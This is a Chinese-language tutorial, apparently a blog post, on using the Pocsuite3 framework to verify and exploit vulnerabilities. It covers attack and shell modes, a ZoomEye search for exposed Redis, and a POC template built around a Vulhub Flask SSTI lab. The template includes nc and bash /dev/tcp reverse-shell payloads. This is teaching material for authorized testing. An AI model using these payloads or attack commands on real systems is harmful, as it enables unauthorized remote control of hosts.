Pocsuite框架
基本认知
两个基本概念
- POC——-> 是用来验证漏洞是否存在的一段代码;
- EXP———>指利用系统漏洞进行渗透。
- 先有POC, 后有EXP
简单来说像MSF———先检查对方是否存在漏洞,再进行漏洞利用
本身封装了一些基础的POC类以及一些常用的方法 ,我们也可以进行开发
Pocsuite 3还集成了ZoomEye、 Seebug和Ceye API
- ZoomEye API——-批量获取指定条件的测试目标(使用ZoomEye的Dork进行搜索)
- Seebug API———读取指定组件或者类型的漏洞的POC或者本地POC, 进行自动化的批量测试。
- Ceye———验证盲打的DNS和HTTP请求
使用方法
Pocsuite具有两种交互模式
- 命令行模式——-类似于我们所熟知的sqlmap的交互方式
- 控制台交互模式——-类似于w3af或者Metasploit的界面

Verify验证模式 ——验证目标是否存在漏洞
简单模式 -r为脚本路径, -u为目标地址
python pocsuite.py -r pocs/test1.py(poc脚本路径) -u https://www.ms08067.com --verify
批量验证目标IP 将需要验证的所有目标IP写到一个txt文件中批量利用
python pocsuite.py -r pocs/test1.py(poc脚本路径) -f url.txt --verify
批量验证所有POC 加载文件夹下的所有poc对目标进行测试, -r为文件夹路径
python pocsuite.py -r pocs/* -u https://www.ms08067.com --verify
使用多线程 —threads表示线程数, 在多目标场景下, 可以使用该参数提高效率
python pocsuite.py -r pocs/(poc脚本路径) -u https://www.ms08067.com --verify --threads 10
使用搜索引擎 使用Zoomeye搜索引擎,搜索开放端口为6379的Redis服务
python cli.py --dork 'port:6379' --vul-keyword 'redis' --max-page 2
Attack攻击模式——向目标发起有效攻击
简单模式
python pocsuite.py -r pocs/(poc脚本路径) –u https://www.ms08067.com --attack
使用shell交互式模式, 对目标进行远程控制
python pocsuite.py -r pocs/(poc脚本路径) -u http://www.ms08067.com --shell
使用自定义命令’command’, 调用外部传递参数, 进行半交互式命令执行
pocsuite -u http://ms08067.com -r pocs/(poc脚本路径) --attack --command "whoami"
POC脚本编写
Pocsuite给出了简单易懂的模板, 只需更改关键漏洞验证的代码即可
使用Pocsuite编写漏洞验证POC时, 需要按照官方模板进行编写, 对接API接口能很方便地完成POC脚本。 POC的命名形式为: “组成漏洞应用名版本号漏洞类型名称”, 然后把文件名中所有字母改成小写, 所有的符号改成下划线“_”。 文件名中不能有特殊字符和大写字母, 最后形成的文件名应该像这样
_1847_seeyon_3_1_login_info_disclosure.py
为了熟悉编写POC脚本过程,大家需要去搭建好渗透环境Vulhub
然后进入文件夹启动环境
cd ~/vulhub/flask/ssti/ (进入漏洞环境文件)
docker-compose up -d (指定运行文件后的启动命令)
docker-compose down(关闭漏洞环境,使用结束后)
列出所有运行容器 (docker-compose ps)
然后可以看出在8000端口,本人虚拟机IP (192.168.166.129)
浏览器访问 192.168.166.129:8000 访问成功
环境启动成功如图

查看环境源代码,分析漏洞成因

从这里可以看出name的值是直接从get参数中获取的,所以Template是完全可控的。
我们在GET请求中传入一个任意参数,成功将模板语言传递到参数中

编写步骤参见[https://blog.csdn.net/weixin_45873667/article/details/116461513](https://blog.csdn.net/weixin_45873667/article/details/116461513)
编写完整参见[https://blog.csdn.net/weixin_45007073/article/details/113094045](https://blog.csdn.net/weixin_45007073/article/details/113094045)
- 首先我们需要创建一个Python文件
- 然后复制粘贴固定的代码
from pocsuit3.api import Output, POCBase, register_poc, requests, logger
Output输出格式模块; POCBase基类, register_poc poc执行模块的类; logger输出错误信息模块
from pocsuit3.api import Output, get_listener_ip, get_listener_port from pocsuit3.api import REVERSE_PAYLOAD
REVERSE_PAYLOAD 反弹shell模块;
from pocsuit3.lib.utils import random_str
[
](https://blog.csdn.net/weixin_45873667/article/details/116461513)
根据漏洞信息对下面内容进行部分修改,规范信息以便于查找
class DemoPOC(POCBase): # 实现类DemoPoc,继承自POCBase vulID = ‘1.1’ # ssvid ID ,如果是提交漏洞的同时提交POC,则写成0 version = ‘1’ # 默认为1 author = [‘1’] # POC作者的名字 vulDate = ‘2021-2-2’ # 漏洞公开的时间,不明确时可以写当天 createDate = ‘2020/10/10’ # 编写POC日期 updateDate = ‘1.1’ # poc更新日期,默认和编写时间一样 references = [‘vulhub’] # 漏洞地址来源,0day不用写 name = ‘flask-poc’ # poc名称 appPowerLink = ‘flask’ # 漏洞厂商的主页地址 appName = ‘flask’ # 漏洞应用名称 appVersion = ‘flask’ # 漏洞影响版本 vulType = VUL_TYPE.CODE_EXECUTION # 漏洞类型
# vultype定义了poc的种类,VUL_TYPE属于enums.py种的一个类;CODE_EXECUTION = 'Code Execution' #代码执行,此处调用了类的属性desc = '''此处是对poc的描述,展开数组时key带入SQL语句形成SQL注入,可以添加管理员,伪装成信息泄露
flask ''' samples = ['96.234.71.117:80'] # 利用poc举例的一个地址,漏洞的简要描述 install_requires = [] # 测试样列,使用poc测试成功的网站。def _options(self):
o = OrderedDict()
payload = {
“nc”: “rm -f /tmp/p;mknod /tmp/p p && nc {0} {1} 0/tmp/p”,
“bash”: “bash -i >& /dev/tcp/{0}/{1} 0>&1”,
}
o[“command”] = OptDict(selected=”bash”, default=payload)
return o
3.然后就是最为关键的部分,即POC脚本编写与EXP脚本编写
POC脚本编写在def _verify(self) 函数下
EXP脚本编写在def_attack(self) 函数下
注:如果该POC没有攻击模式, 可以在_attack() 函数下加入return self._verify() , 无须再写_attack() 函数

我不知道为什么我的代码测试没有成功
EXP脚本编写
编写完整参见[https://blog.csdn.net/weixin_45007073/article/details/113094045](https://blog.csdn.net/weixin_45007073/article/details/113094045)

执行成功后
总结
在实际渗透测试过程中接触到的类似漏洞验证脚本非常多, 所以在寻找和使用时会浪费大量时间。 将漏洞验证POC及EXP通过渗透测试框架整理出来再使用,便会非常方便, 提升了工作效率
对于优秀的人员自然是可以自己去写,无需这些模块来进行辅助 对于不深刻理解,没有很强大代码能力,需要辅助的情况下可以使用这种方式 大家可以到该框架中找到已有的脚本进行二次修改,尽量减轻自己的代码书写

